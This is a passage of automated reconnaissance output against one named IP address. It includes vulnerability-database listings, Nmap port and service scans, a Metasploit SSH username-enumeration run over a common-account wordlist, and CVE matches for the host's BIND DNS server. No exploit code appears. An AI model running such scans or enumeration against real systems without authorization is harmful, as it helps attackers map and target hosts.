9006| [10080] IBM WebSphere Commerce up to 7.0.0.7 Accelerator cross site scripting
9007| [10559] Google Chrome 29.0.1547.76 GPU Video Accelerator gpu_video_decode_accelerator_host.cc Error memory corruption
9008| [11233] MediaWiki 1.19.8/1.20.7/1.21.2 HTTP Header Caching weak authentication
9009| [9891] Apache HTTP Server 2.2.22 suEXEC Feature .htaccess information disclosure
9010| [9889] Mozilla Firefox/Thunderbird XMLHttpRequest Calls Crash cross site scripting
9011| [9895] Nmap 6.25 http-domino-enum-passwords.nse privilege escalation
9012| [64607] Monkey HTTP Daemon 1.1.1 mk_request.c mk_request_header_process denial of service
9013| [64597] Vector Ultra Mini HTTPD 1.21 Stack-based memory corruption
9014| [64567] Monkey HTTP Daemon 1.2.2 cross site scripting
9015| [9717] Samsung PS50C7700 HTTP Request denial of service
9016| [9683] Apache HTTP Server 2.4.5 mod_session_dbd denial of service
9017| [9606] Oracle HTTP Server 10.1.3.5.0 Web Listener information disclosure
9018| [9605] Oracle HTTP Server 10.1.3.5.0 Web Listener Out-of-Bounds cross site scripting
9019| [9604] Oracle HTTP Server Web Listener Memory Consumption denial of service
9020| [9603] Oracle HTTP Server Web Listener denial of service
9021| [9602] Oracle HTTP Server Web Listener cross site scripting
9022| [9601] Oracle HTTP Server 10.1.3.5.0 Web Listener cross site scripting
9023| [9600] Oracle HTTP Server 10.1.3.5.0 Web Listener cross site scripting
9024| [9599] Oracle HTTP Server 10.1.3.5.0 Web Listener cross site scripting
9025| [9597] Oracle HTTP Server 10.1.3.5.0 Web Listener memory corruption
9026| [9596] Oracle HTTP Server Web Listener Memory Consumption denial of service
9027| [9595] Oracle HTTP Server Web Listener Crash denial of service
9028| [9594] Oracle HTTP Server 2.2.9 Proxy Plug-In mod_proxy_http.c information disclosure
9029| [9547] Squid Proxy up to 3.3.7 HTTP Request denial of service
9030| [9526] Squid Proxy up to 3.3.6 dns_internal.cc idnsALookup HTTP Request denial of service
9031| [9510] Juniper Junos 10.4/11.4/12.1/12.1x44 HTTP Request memory corruption
9032| [9456] Google Chrome up to 27.0.1453.116 HTTP over SSL information disclosure
9033| [9478] Google Chrome 25.0.1364.152 xml/XMLHttpRequest.cpp setRequestHeader spoofing
9034| [9279] Cisco Web/Mail Security Appliance up to 7.7/8.1 Web Framework HTTP/HTTPS Request denial of service
9035| [9288] Mozilla Firefox up to 21.0 XHR HEAD Request XMLHttpRequest (XHR) HEAD cross site request forgery
9036| [9242] Canon HTTP Request cgi_lan.cgi denial of service
9037| [9076] Wireshark up to 1.8.7 HTTP Dissector packet-http.c http_payload_subdissector Crafted Packet denial of service
9038| [8915] IBM WebSphere Portal up to 8.0 HTTP spoofing
9039| [8813] thttpd 2.25b WebService information disclosure
9040| [8810] WebKitGTK+ HTTPS/SSL Certificate spoofing
9041| [8722] Microsoft Windows 8/RT/Server 2012 HTTP.sys denial of service
9042| [8746] Apache HTTP Server Log File Terminal Escape Sequence Filtering mod_rewrite.c do_rewritelog privilege escalation
9043| [8618] nginx 1.3.9/1.4.0 http/ngx_http_parse.c ngx_http_parse_chunked() memory corruption
9044| [8509] D-Link DIR-300 1.05 HTTP Header tools_vct.xgi race condition
9045| [8314] Oracle HTTP Server 11.1.1.6.0 Web Listener cross site scripting
9046| [8313] Oracle HTTP Server Web Listener Heap-based denial of service
9047| [8310] Oracle HTTP Server Web Listener information disclosure
9048| [8309] Oracle HTTP Server Web Listener information disclosure
9049| [8308] Oracle HTTP Server Web Listener denial of service
9050| [8307] Oracle HTTP Server 10.1.3.5/11.1.1.5.0/11.1.1.6.0 Web Listener unknown vulnerability
9051| [8306] Oracle HTTP Server Web Listener denial of service
9052| [8305] Oracle HTTP Server Web Listener information disclosure
9053| [8304] Oracle HTTP Server Web Listener information disclosure
9054| [8303] Oracle HTTP Server 11.1.1.6.0 ModSecurity denial of service
9055| [8300] Oracle HTTP Server Web Listener denial of service
9056| [8299] Oracle HTTP Server Web Listener denial of service
9057| [8298] Oracle HTTP Server Web Listener denial of service
9058| [8294] Oracle Database Server up to 4.2.1 HTTP unknown vulnerability
9059| [8293] Oracle Database Server 11.2.0.2/11.2.0.3 HTTP memory corruption
9060| [63967] John Nunemaker httparty up to 0.2.0 memory corruption
9061| [63884] Varnish 6.x-1.0/6.x-1.1/6.x-1.x/7.x-1.0/7.x-1.x cross site scripting
9062| [8121] Digium Asterisk up to 1.8.20.1 main/http.c ast_http_get_post_vars denial of service
9063| [8082] IBM Lotus Domino up to 8.5.3 HTTP Server Crash denial of service
9064| [8076] TP-LINK WR740N Wireless N Router up to 3.16.4 HTTP Request Crash denial of service
9065| [8012] Apple Mac OS X 10.8.3 IOAcceleratorFamily memory corruption
9066| [7890] Squid Proxy up to 3.2.7 http.cc httpMakeVaryMark denial of service
9067| [7847] Cisco Aironet Access Point 7.3(101.0) HTTP Profiling Feature Crash denial of service
9068| [7843] D-Link DIR-645 Firmware 1.02 Authentication /getcfg.php HTTP Request information disclosure
9069| [63646] Apache HTTP Server up to 2.2.23/2.4.3 mod_proxy_balancer.c balancer_handler cross site scripting
9070| [63630] Infradead OpenConnect up to 4.07 http.c memory corruption
9071| [7784] Alt-N MDaemon up to 13.0.3 HTTP Requests Sanitizer WorldClient.dll information disclosure
9072| [7810] IBM HTTP Server up to 8.5.0.2 mod_info cross site scripting
9073| [7733] Pidgin 2.10.6 http.c mxit_cb_http_read memory corruption
9074| [7732] Pidgin 2.10.6 http.c mxit_cb_http_read memory corruption
9075| [7701] IBM WebSphere Message up to 8.0 HTTPInput Node denial of service
9076| [7510] Microsoft Internet Explorer 8/9 HTTP/HTTPS Request spoofing
9077| [7465] Cisco Wireless LAN Controller up to 7.2 HTTP Profiling Feature memory corruption
9078| [7445] F5 BIG-IP 11.0.0/11.1.0/11.2.0/11.2.1 Accelerator saveSettings.php sql injection
9079| [7343] Microsoft Lync 2012 HTTP Format String
9080| [12075] Python Software Foundation BaseHTTPServer 0.6 HTTP Request denial of service
9081| [63300] ELinks 0.12 http_negotiate_create_context unknown vulnerability
9082| [7246] Digium Asterisk up to 11.1.1 AMI main/http.c ast_http_get_post_vars denial of service
9083| [7232] Digium Asterisk 1.8/10/11 Device State Caching SIP/HTTP/XMPP denial of service
9084| [7231] Digium Asterisk 1.8/10/11 TCP Session SIP/HTTP/XMPP denial of service
9085| [7202] Apache HTTP Server 2.4.2 on Oracle Solaris ld_library_path cross site scripting
9086| [7209] NetIQ eDirectory up to 8.8.7.1 on Windows HTTP Request Crash denial of service
9087| [10527] Blue Coat Reporter 9.3 HTTP Traffic weak encryption
9088| [7118] Microsoft Windows Server 2008 R2/Server 2012 IP-HTTPS unknown vulnerability
9089| [8189] Apple CUPS 1.6.1 cups/http-support.c http_resolve_cb denial of service
9090| [7094] IBM Tivoli Monitoring up to 6.2.3 HTTP Service Console cross site scripting
9091| [63089] Apache HTTP Server up to 2.2.13 mod_proxy_ajp denial of service
9092| [7098] Diga plc Qt 4.8.3 XmlHttpRequest Object information disclosure
9093| [7013] lighttpd 1.4.31/1.4.32 src/request.c http_request_split_value() denial of service
9094| [7012] Instagram up to 3.1.2 on iOS HTTP Plaintext weak encryption
9095| [6996] Opera Web Browser 12.10 HTTP Response Heap-based memory corruption
9096| [6981] Mozilla Firefox/Thunderbird 16.0.1/16.0.2 XMLHttpRequest Sandbox Bypass privilege escalation
9097| [62981] django up to 1.4.1 django.http.HttpRequest.get_host cross site request forgery
9098| [62830] Apache Commons-httpclient 3.0 Payments spoofing
9099| [6821] IBM Tivoli 6.2.3/6.2.3.1 HTTP Server TRACE/TRACK cross site scripting
9100| [6748] Oracle Central Designer 1.3/1.4/1.4.2 HTTP unknown vulnerability
9101| [11633] Python 2.6.8/2.7.3/3.3.2 HTTP read_status HTTP Header denial of service
9102| [6562] Novell GroupWise 2012/8.0/8.00/8.01/8.02 HTTP interfaces Integer directory traversal
9103| [6510] Apple iOS up to 5.1.1 WebKit WebSockets HTTP Response Header privilege escalation
9104| [6297] Novell GroupWise up to 2012 Web Admin Interface gwia.exe HTTP Header memory corruption
9105| [6301] Apache HTTP Server mod_pagespeed cross site scripting
9106| [6300] Apache HTTP Server mod_pagespeed Hostname information disclosure
9107| [6075] Google Chrome 21.0.1180.83 XMLHttpRequest ResourceResponse.cpp race condition
9108| [6068] Mozilla Firefox 14 HTTPMonitor Extension Use-After-Free privilege escalation
9109| [6997] Apache Tomcat 5.5.35/6.0.35/7.0.28 HTTP Digest Authentication Implementation privilege escalation
9110| [6092] Apache HTTP Server 2.4.0/2.4.1/2.4.2 mod_proxy_ajp.c information disclosure
9111| [6090] Apache HTTP Server 2.4.0/2.4.1/2.4.2 mod_proxy_http.c information disclosure
9112| [5984] IBM Lotus Domino up to 8.5.3 HTTP Server cross site scripting
9113| [5907] Novell Remote Manager 2.0.2 Release 99.10 Small Http Interface Daemon ProcessAuthorizationFailure HTTP Header denial of service
9114| [5877] Ruby on Rails up to 3.2.7 http_authentication.rb with_http_digest helper denial of service
9115| [5764] Oracle Solaris 10 Apache HTTP Server information disclosure
9116| [5729] Oracle E-Business Suite 11.5.10.2 on Oracle9i Application Server 1.0.2.2 HTTP Server memory corruption
9117| [5726] Oracle E-Business Suite 11.5.10.2 on Oracle9i Application Server 1.0.2.2 HTTP Server information disclosure
9118| [5707] Oracle Fusion Middleware 10.1.3.5/11.1.1.5/11.1.1.6/11.1.2.0 HTTP Server memory corruption
9119| [5704] Oracle Fusion Middleware 10.1.3.5/11.1.1.5/11.1.2.0 HTTP Server information disclosure
9120| [5572] Python up to 2.7.2 SimpleHTTPServer Module SimpleHTTPServer.py list_directory cross site scripting
9121| [60862] CVS 1.11/1.12 HTTP Proxy Server proxy_connect memory corruption
9122| [9673] Apache HTTP Server up to 2.4.4 mod_dav mod_dav.c Request denial of service
9123| [5312] Mozilla Firefox up to 11.0 RSS/Atom XML HTTPS Content Loading URL spoofing
9124| [5311] Mozilla Firefox up to 11.0 XMLHttpRequest/WebSocket Handling weak authentication
9125| [5309] Mozilla Firefox 11.0 HTTP Redirects & Remote Content information disclosure
9126| [60606] Nsoftware Unitronics UniOPC up to 1.3.7 https50.ocx unspecified memory corruption
9127| [5293] nginx up to 1.1.18 ngx_http_mp4_module MP4 File memory corruption
9128| [5177] McAfee Web Gateway 7.0 HTTP Header Host Field Parser CONNECT Request privilege escalation
9129| [5176] Squid Proxy 3.1.19 HTTP Header Host Field Parser CONNECT Request privilege escalation
9130| [4981] Cisco IOS 12.4/15.0/15.1/15.2 HTTP Inspection Engine HTTP Message denial of service
9131| [4955] Apache Traffic Server 3.0.3/3.1.2 HTTP Header Parser memory corruption
9132| [4884] Apache HTTP Server up to 2.3.6 mod_fcgid fcgid_spawn_ctl.c FcgidMaxProcessesPerClass HTTP Requests denial of service
9133| [4843] nginx up to 1.0.13/1.1.16 HTTP Header Response Parser ngx_http_parse.c information disclosure
9134| [4913] IBM Tivoli Endpoint Manager 8.1 HTTPOnly Flag Cookie Handling information disclosure
9135| [4850] Apple Safari up to 5.1.4 WebKit HTTP Authorization HTTP Header Logging unknown vulnerability
9136| [4707] Novell ZENworks Configuration Management up to 10.3.4 HTTP Trace unknown vulnerability
9137| [4591] Mozilla Firefox up to 3.6.26/6.0 IPv6 Proxy XMLHttpRequest Object information disclosure
9138| [4583] Apache HTTP Server up to 2.2.21 Threaded MPM denial of service
9139| [4582] Apache HTTP Server up to 2.2.21 protocol.c information disclosure
9140| [59826] dhttpd denial of service
9141| [59825] Apache HTTP Server up to 2.1.7 mod_reqtimeout denial of service
9142| [59799] lighttpd up to 1.1.1 http_auth.c base64_decode denial of service
9143| [59556] Apache HTTP Server up to 2.0.53 mod_proxy information disclosure
9144| [59239] IBM HTTP Server up to 2.0.42.1 cross site scripting
9145| [58394] Pidgin up to 2.5.2 Protocol Plugin httpconn.c msn_httpconn_parse_data denial of service
9146| [91156] McAfee Web Gateway 6.8.6.x E-Mail Gateway & HTTP Method Filter List cross site scripting
9147| [58199] shttpd 1.42 Embedded Web Server mongoose.c _shttpd_put_dir memory corruption
9148| [58129] Sunwayland ForceControl 6.1 httpsvr.exe memory corruption
9149| [58125] CA Gateway Security up to 8.0 Icihttp.exe memory corruption
9150| [57891] cURL/libcURL up to 7.15.1 http_negotiate.c Curl_input_negotiate unknown vulnerability
9151| [57888] Apache HttpClient 4.0/4.0.1/4.1 Authorization information disclosure
9152| [4355] Apache HTTP Server APR apr_fnmatch denial of service
9153| [57449] Search.cpan libwww-perl up to 5.64 SSL Certificate Net::HTTPS spoofing
9154| [4352] Apache HTTP Server 2.2.x APR apr_fnmatch denial of service
9155| [57268] Banu Tinyproxy up to 1.8.2 HTTP Proxy Server acl.c unknown vulnerability
9156| [56893] PHP HTTP Proxy Crash denial of service
9157| [4265] Opera Web Browser up to 11.01 on Windows HTTP HTTP Replies/Redirects memory corruption
9158| [62295] SilverStripe up to 2.4.3 Error RequestHandler.php httpError cross site scripting
9159| [4892] WordPress 2.0.2 Comment HTTP Request privilege escalation
9160| [54651] Mozilla Firefox XmlHttpRequest Object cross site scripting
9161| [54841] Salvo Tomaselli Weborf HTTP Server up to 0.12.2 instance.c modURL directory traversal
9162| [4163] Microsoft XML Core Services 3.x HTTP HTTP Response memory corruption
9163| [54231] Eterna bozohttpd up to 20010609 User Account unknown vulnerability
9164| [54230] Eterna bozohttpd 20090522/20100509/20100512 denial of service
9165| [54166] Apache HTTP Server up to 2.2.12 mod_cache Crash denial of service
9166| [53798] Salvo Tomaselli Weborf HTTP Server up to 0.12.1 Connection Header Unicode Crash denial of service
9167| [53611] Standards Based Linux Instrumentation Sblim-sfcb 1.3.4/1.3.5/1.3.6/1.3.7 httpAdapter.c memory corruption
9168| [53610] Standards Based Linux Instrumentation Sblim-sfcb 1.3.4/1.3.5/1.3.6/1.3.7 httpAdapter.c memory corruption
9169| [53534] Salvo Tomaselli Weborf HTTP Server up to 0.12.0 Range Header Crash denial of service
9170| [53014] Lexmark C920 Embedded HTTP Server denial of service
9171| [52988] IBM up to 3.7.3.9 Accelerator denial of service
9172| [52843] Apache HTTP Server mod_auth_shadow unknown vulnerability
9173| [52826] Jasper httpdx 1.4/1.4.5/1.4.6/1.4.6b/1.5 Default Password weak authentication
9174| [52583] Varnish up to 2.0.6 Administration Interface cross site request forgery
9175| [52544] Apple iPhone OS 3.1 HTTP Client Crash denial of service
9176| [53437] Http-solution Project Man up to 1.0 Login login.php sql injection
9177| [51887] Google Chrome up to 2.0.172.32 HTTP Logging information disclosure
9178| [51757] Apache HTTP Server 2.0.44 cross site scripting
9179| [51756] Apache HTTP Server 2.0.44 spoofing
9180| [51734] lighttpd up to 1.1.1 Memory Consumption denial of service
9181| [51717] Apache HTTP Server up to 1.3.3 mod_proxy ap_proxy_send_fb memory corruption
9182| [51537] Acme thttpd 2.25 Terminal privilege escalation
9183| [51536] Acme Mini HTTPd 1.19 Terminal privilege escalation
9184| [51534] Varnish 2.0.6 Terminal privilege escalation
9185| [51290] Pps.jussieu Polipo 1.0.4 http_parse.c httpParseHeaders denial of service
9186| [51055] Frank Yaul CoreHTTP 0.5.3.1 Off-By-One memory corruption
9187| [51295] Pps.jussieu Polipo 0.9.8/0.9.12/1.0.4 client.c httpClientDiscardBody denial of service
9188| [50927] Javascript Xerver HTTP Server 4.31 unknown vulnerability
9189| [86836] httpdx HTTP Server tolog Format String
9190| [52825] Jasper httpdx 1.4/1.4.5/1.4.6/1.4.6b/1.5 tolog memory corruption
9191| [50726] Cherokee httpd 0.5.4 directory traversal
9192| [51396] Jasper httpdx 1.4/1.4.3/1.4.4 unknown vulnerability
9193| [50469] Jasper httpdx 1.4/1.4.3 http.cpp h_handlepeer memory corruption
9194| [50409] Jasper httpdx 1.4 http.c h_readrequest memory corruption
9195| [49935] Silcnet Silc Toolkit up to 1.0 silchttpserver.c silc_http_server_parse memory corruption
9196| [49857] Apache HTTP Server mod_proxy_ftp cross site scripting
9197| [49856] Apache HTTP Server 2.2.13 mod_proxy_ftp ap_proxy_ftp_handler denial of service
9198| [49549] ntop 3.3.10 Authorization http.c checkHTTPpassword denial of service
9199| [49520] fhttpd 0.4.2 Authorization Crash denial of service
9200| [49436] DD-WRT 24 httpd.c unknown vulnerability
9201| [49208] Joompolitan Com Livechat 1.0 HTTP Proxy xmlhttp.php unknown vulnerability
9202| [49178] Squid Proxy up to 3.1.0.11 HttpMsg.cc denial of service
9203| [49177] Squid Proxy up to 3.1.0.11 HttpMsg.cc denial of service
9204| [49435] DD-WRT 24 httpd.c privilege escalation
9205| [48952] Apache HTTP Server up to 1.3.6 mod_deflate denial of service
9206| [48898] eAccelerator 0.9.4/0.9.5/0.9.5.1/0.9.5.2/0.9.5.3 encoder.php memory corruption
9207| [3992] Google Chrome up to 2.0.172 HTTP Response memory corruption
9208| [3983] Microsoft Internet Explorer 6/7 xmlHttpRequest memory corruption
9209| [86716] GlassFish Enterprise Server httpListenerEdit.jsf cross site scripting
9210| [47829] Sebastian Fernandez Zervit 0.02 libz/misc.c http_parse_hex memory corrupti
9211#######################################################################################################################################
9212WARNING: Duplicate port number(s) specified. Are you alert enough to be using Nmap? Have some coffee or Jolt(tm).
9213Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 21:03 EST
9214Nmap scan report for ns502056.ip-192-99-38.net (192.99.38.90)
9215Host is up (0.047s latency).
9216Not shown: 474 closed ports, 16 filtered ports
9217Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
9218PORT STATE SERVICE
921921/tcp open ftp
922022/tcp open ssh
922153/tcp open domain
922280/tcp open http
9223443/tcp open https
92248080/tcp open http-proxy
9225
9226Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds
9227#######################################################################################################################################
9228Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 21:03 EST
9229Nmap scan report for ns502056.ip-192-99-38.net (192.99.38.90)
9230Host is up (0.041s latency).
9231Not shown: 10 closed ports, 2 filtered ports
9232PORT STATE SERVICE
923353/udp open domain
9234123/udp open ntp
9235389/udp open|filtered ldap
9236
9237Nmap done: 1 IP address (1 host up) scanned in 5.09 seconds
9238#######################################################################################################################################
9239USER_FILE => /usr/share/brutex/wordlists/simple-users.txt
9240RHOSTS => 192.99.38.90
9241RHOST => 192.99.38.90
9242[*] 192.99.38.90:22 - SSH - Using malformed packet technique
9243[*] 192.99.38.90:22 - SSH - Starting scan
9244[-] 192.99.38.90:22 - SSH - User 'admin' not found
9245[-] 192.99.38.90:22 - SSH - User 'administrator' not found
9246[-] 192.99.38.90:22 - SSH - User 'anonymous' not found
9247[-] 192.99.38.90:22 - SSH - User 'backup' not found
9248[-] 192.99.38.90:22 - SSH - User 'bee' not found
9249[-] 192.99.38.90:22 - SSH - User 'ftp' not found
9250[-] 192.99.38.90:22 - SSH - User 'guest' not found
9251[-] 192.99.38.90:22 - SSH - User 'GUEST' not found
9252[-] 192.99.38.90:22 - SSH - User 'info' not found
9253[-] 192.99.38.90:22 - SSH - User 'mail' not found
9254[-] 192.99.38.90:22 - SSH - User 'mailadmin' not found
9255[-] 192.99.38.90:22 - SSH - User 'msfadmin' not found
9256[-] 192.99.38.90:22 - SSH - User 'mysql' not found
9257[-] 192.99.38.90:22 - SSH - User 'nobody' not found
9258[-] 192.99.38.90:22 - SSH - User 'oracle' not found
9259[-] 192.99.38.90:22 - SSH - User 'owaspbwa' not found
9260[-] 192.99.38.90:22 - SSH - User 'postfix' not found
9261[-] 192.99.38.90:22 - SSH - User 'postgres' not found
9262[-] 192.99.38.90:22 - SSH - User 'private' not found
9263[-] 192.99.38.90:22 - SSH - User 'proftpd' not found
9264[-] 192.99.38.90:22 - SSH - User 'public' not found
9265[-] 192.99.38.90:22 - SSH - User 'root' not found
9266[-] 192.99.38.90:22 - SSH - User 'superadmin' not found
9267[-] 192.99.38.90:22 - SSH - User 'support' not found
9268[-] 192.99.38.90:22 - SSH - User 'sys' not found
9269[-] 192.99.38.90:22 - SSH - User 'system' not found
9270[-] 192.99.38.90:22 - SSH - User 'systemadmin' not found
9271[-] 192.99.38.90:22 - SSH - User 'systemadministrator' not found
9272[-] 192.99.38.90:22 - SSH - User 'test' not found
9273[-] 192.99.38.90:22 - SSH - User 'tomcat' not found
9274[-] 192.99.38.90:22 - SSH - User 'user' not found
9275[-] 192.99.38.90:22 - SSH - User 'webmaster' not found
9276[-] 192.99.38.90:22 - SSH - User 'www-data' not found
9277[-] 192.99.38.90:22 - SSH - User 'Fortimanager_Access' not found
9278[*] Scanned 1 of 1 hosts (100% complete)
9279[*] Auxiliary module execution completed
9280#######################################################################################################################################
9281Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 21:06 EST
9282Nmap scan report for ns502056.ip-192-99-38.net (192.99.38.90)
9283Host is up (0.070s latency).
9284
9285PORT STATE SERVICE VERSION
928653/tcp open domain ISC BIND 9.9.4 (RedHat Enterprise Linux 7)
9287|_dns-fuzz: Server didn't response to our probe, can't fuzz
9288| dns-nsec-enum:
9289|_ No NSEC records found
9290| dns-nsec3-enum:
9291|_ DNSSEC NSEC3 not supported
9292| dns-nsid:
9293|_ bind.version: 9.9.4-RedHat-9.9.4-61.el7_5.1
9294| vulners:
9295| cpe:/a:isc:bind:9.9.4:
9296| CVE-2015-4620 7.8 https://vulners.com/cve/CVE-2015-4620
9297| CVE-2014-8500 7.8 https://vulners.com/cve/CVE-2014-8500
9298| CVE-2017-3141 7.2 https://vulners.com/cve/CVE-2017-3141
9299| CVE-2015-8461 7.1 https://vulners.com/cve/CVE-2015-8461
9300| CVE-2013-6230 6.8 https://vulners.com/cve/CVE-2013-6230
9301| CVE-2015-1349 5.4 https://vulners.com/cve/CVE-2015-1349
9302| CVE-2018-5740 5.0 https://vulners.com/cve/CVE-2018-5740
9303| CVE-2017-3145 5.0 https://vulners.com/cve/CVE-2017-3145
9304| CVE-2016-9131 5.0 https://vulners.com/cve/CVE-2016-9131
9305| CVE-2016-8864 5.0 https://vulners.com/cve/CVE-2016-8864
9306| CVE-2016-1286 5.0 https://vulners.com/cve/CVE-2016-1286
9307| CVE-2015-8000 5.0 https://vulners.com/cve/CVE-2015-8000
9308| CVE-2019-6465 4.3 https://vulners.com/cve/CVE-2019-6465
9309| CVE-2018-5743 4.3 https://vulners.com/cve/CVE-2018-5743
9310| CVE-2018-5742 4.3 https://vulners.com/cve/CVE-2018-5742
9311| CVE-2017-3143 4.3 https://vulners.com/cve/CVE-2017-3143
9312| CVE-2017-3142 4.3 https://vulners.com/cve/CVE-2017-3142
9313| CVE-2017-3136 4.3 https://vulners.com/cve/CVE-2017-3136
9314| CVE-2016-2775 4.3 https://vulners.com/cve/CVE-2016-2775
9315| CVE-2016-1285 4.3 https://vulners.com/cve/CVE-2016-1285
9316| CVE-2018-5741 4.0 https://vulners.com/cve/CVE-2018-5741
9317| CVE-2016-6170 4.0 https://vulners.com/cve/CVE-2016-6170
9318| CVE-2018-5745 3.5 https://vulners.com/cve/CVE-2018-5745
9319|_ CVE-2014-0591 2.6 https://vulners.com/cve/CVE-2014-0591
9320| vulscan: VulDB - https://vuldb.com:
9321| [11804] ISC BIND up to 9.9.4 DNS Query bin/named/query.c query_findclosestnsec3 denial of service
9322| [11104] ISC BIND up to 9.9.4 WSAloctl Winsock API Bypass privilege escalation
9323| [9764] ISC BIND up to 9.9.4 RDATA rdata.c denial of service
9324| [119548] ISC BIND 9.9.12/9.10.7/9.11.3/9.12.1-P2 Recursion information disclosure
9325| [95202] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 DNSSEC denial of service
9326| [95201] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 DS Record Response denial of service
9327| [95200] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 ANY Query Response denial of service
9328| [89850] ISC BIND up to 9.9.9-P1/9.10.4-P1/9.11.0b1 Lightweight Resolution named.conf denial of service
9329| [81312] ISC BIND up to 9.9.8-P3/9.10.3-P3 named db.c/resolver.c Signature Record denial of service
9330| [81311] ISC BIND up to 9.9.8-P3/9.10.3-P3 named alist.c/sexpr.c denial of service
9331| [80787] ISC BIND up to 9.9.8-S4 Query rdataset.c denial of service
9332| [79802] ISC BIND 9.9.0/9.10.0/9.10.1-P1 Socket Error resolver.c denial of service
9333| [79801] ISC BIND 9.9.0/9.10.0/9.10.1-P1 Response db.c denial of service
9334| [76834] ISC BIND up to 9.9.7-P1/9.10.2-P2 TKEY Query Packet Crash denial of service
9335| [8108] ISC BIND up to 9.9.3 on Unix/Linux Regular Expression denial of service
9336| [7079] ISC BIND up to 9.9.1 DNS64 IPv6 Transition Mechanism denial of service
9337| [6295] ISC BIND up to 9.9.1-P2 Assertion Error Resource Record Parser RDATA Query denial of service
9338| [5875] ISC BIND 9.9.0/9.9.1 denial of service
9339| [5874] ISC BIND up to 9.9.1-P1 denial of service
9340| [5483] ISC BIND up to 9.9.1 DNS Resource Record information disclosure
9341|
9342| MITRE CVE - https://cve.mitre.org:
9343| [CVE-2013-4854] The RFC 5011 implementation in rdata.c in ISC BIND 9.7.x and 9.8.x before 9.8.5-P2, 9.8.6b1, 9.9.x before 9.9.3-P2, and 9.9.4b1, and DNSco BIND 9.9.3-S1 before 9.9.3-S1-P1 and 9.9.4-S1b1, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query with a malformed RDATA section that is not properly handled during construction of a log message, as exploited in the wild in July 2013.
9344| [CVE-2013-3919] resolver.c in ISC BIND 9.8.5 before 9.8.5-P1, 9.9.3 before 9.9.3-P1, and 9.6-ESV-R9 before 9.6-ESV-R9-P1, when a recursive resolver is configured, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for a record in a malformed zone.
9345| [CVE-2013-2266] libdns in ISC BIND 9.7.x and 9.8.x before 9.8.4-P2, 9.8.5 before 9.8.5b2, 9.9.x before 9.9.2-P2, and 9.9.3 before 9.9.3b2 on UNIX platforms allows remote attackers to cause a denial of service (memory consumption) via a crafted regular expression, as demonstrated by a memory-exhaustion attack against a machine running a named process.
9346| [CVE-2012-5689] ISC BIND 9.8.x through 9.8.4-P1 and 9.9.x through 9.9.2-P1, in certain configurations involving DNS64 with a Response Policy Zone that lacks an AAAA rewrite rule, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for an AAAA record.
9347| [CVE-2012-5688] ISC BIND 9.8.x before 9.8.4-P1 and 9.9.x before 9.9.2-P1, when DNS64 is enabled, allows remote attackers to cause a denial of service (assertion failure and daemon exit) via a crafted query.
9348| [CVE-2012-5166] ISC BIND 9.x before 9.7.6-P4, 9.8.x before 9.8.3-P4, 9.9.x before 9.9.1-P4, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P4 allows remote attackers to cause a denial of service (named daemon hang) via unspecified combinations of resource records.
9349| [CVE-2012-4244] ISC BIND 9.x before 9.7.6-P3, 9.8.x before 9.8.3-P3, 9.9.x before 9.9.1-P3, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P3 allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for a long resource record.
9350| [CVE-2012-3868] Race condition in the ns_client structure management in ISC BIND 9.9.x before 9.9.1-P2 allows remote attackers to cause a denial of service (memory consumption or process exit) via a large volume of TCP queries.
9351| [CVE-2012-1667] ISC BIND 9.x before 9.7.6-P1, 9.8.x before 9.8.3-P1, 9.9.x before 9.9.1-P1, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P1 does not properly handle resource records with a zero-length RDATA section, which allows remote DNS servers to cause a denial of service (daemon crash or data corruption) or obtain sensitive information from process memory via a crafted record.
9352| [CVE-2011-4313] query.c in ISC BIND 9.0.x through 9.6.x, 9.4-ESV through 9.4-ESV-R5, 9.6-ESV through 9.6-ESV-R5, 9.7.0 through 9.7.4, 9.8.0 through 9.8.1, and 9.9.0a1 through 9.9.0b1 allows remote attackers to cause a denial of service (assertion failure and named exit) via unknown vectors related to recursive DNS queries, error logging, and the caching of an invalid record by the resolver.
9353| [CVE-2011-2465] Unspecified vulnerability in ISC BIND 9 9.8.0, 9.8.0-P1, 9.8.0-P2, and 9.8.1b1, when recursion is enabled and the Response Policy Zone (RPZ) contains DNAME or certain CNAME records, allows remote attackers to cause a denial of service (named daemon crash) via an unspecified query.
9354| [CVE-2011-2464] Unspecified vulnerability in ISC BIND 9 9.6.x before 9.6-ESV-R4-P3, 9.7.x before 9.7.3-P3, and 9.8.x before 9.8.0-P4 allows remote attackers to cause a denial of service (named daemon crash) via a crafted UPDATE request.
9355|
9356| SecurityFocus - https://www.securityfocus.com/bid/:
9357| [61774] ISC BIND 9 SRTT Algorithm Authoritative Server Selection Security Vulnerability
9358| [61479] ISC BIND 9 DNS RDATA Handling CVE-2013-4854 Remote Denial of Service Vulnerability
9359| [58736] ISC BIND 9 'libdns' Remote Denial of Service Vulnerability
9360| [57556] ISC BIND 9 DNS64 CVE-2012-5689 Remote Denial of Service Vulnerability
9361| [56817] ISC BIND 9 DNS64 Remote Denial of Service Vulnerability
9362| [55852] ISC BIND 9 DNS RDATA Handling CVE-2012-5166 Remote Denial of Service Vulnerability
9363| [55522] ISC BIND 9 DNS Resource Records Handling CVE-2012-4244 Remote Denial of Service Vulnerability
9364| [54659] ISC BIND 9 TCP Query Remote Denial of Service Vulnerability
9365| [54658] ISC BIND 9 DNSSEC Validation CVE-2012-3817 Denial of Service Vulnerability
9366| [53772] ISC BIND 9 DNS Resource Records Handling Remote Denial of Service Vulnerability
9367| [50690] ISC BIND 9 Recursive Queries Remote Denial of Service Vulnerability
9368| [48566] ISC BIND 9 Unspecified Packet Processing Remote Denial of Service Vulnerability
9369| [48565] ISC BIND 9 RPZ Configurations Remote Denial of Service Vulnerabilities
